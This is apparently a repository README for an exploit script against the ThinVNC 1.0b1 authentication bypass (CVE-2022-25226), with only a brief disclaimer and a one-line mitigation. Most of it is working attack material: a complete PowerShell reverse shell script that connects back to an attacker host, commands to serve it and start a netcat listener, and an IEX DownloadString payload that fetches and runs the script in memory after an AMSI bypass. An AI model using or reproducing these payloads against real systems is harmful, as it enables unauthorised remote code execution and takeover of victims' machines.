krill-x7/cve-2022-25226Python exploit script for ThinVNC 1.0b1 authentication bypass (CVE-2022-25226) that chains unauthenticated /cmd endpoint access with AMSI bypass and clipboard injection to deliver a reverse shell.
Author: krill-x7
Reference: https://fluidattacks.com/advisories/sinatra
ThinVNC 1.0b1 contains an authentication bypass vulnerability (CVE-2022-25226) allowing remote attackers to interact with the backend unauthenticated. By leveraging exposed /cmd endpoints, attackers can simulate keystrokes, open PowerShell, bypass AMSI, and execute arbitrary commands—ultimately leading to Remote Code Execution (RCE).
This script chains those primitives to gain a reverse shell on the target system.
This code is provided for educational purposes only.
Use it only on systems you own or are explicitly authorized to test.
rev.ps1 reverse shell script hosted on your attacker machinepython3 thinvnc_rce.py -t <TARGET_IP> -tp <TARGET_PORT> -a <ATTACKER_IP> -ap <ATTACKER_PORT>
python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000
rev.ps1Save this to a file called rev.ps1.
Important: Replace 192.168.1.200 and 8000 with your attacker's IP and listening port.
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
rev.ps1From the same directory:
python3 -m http.server 8000
nc -lvnp 8000
/cmd?cmd=connect./cmd?cmd=start.Ctrl+Esc key combo to open the Start menu.This is the payload that gets executed in memory:
IEX((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/rev.ps1'))
Replace <ATTACKER_IP> and <PORT> with your actual IP and port.
/cmd endpoint via web server config or WAF.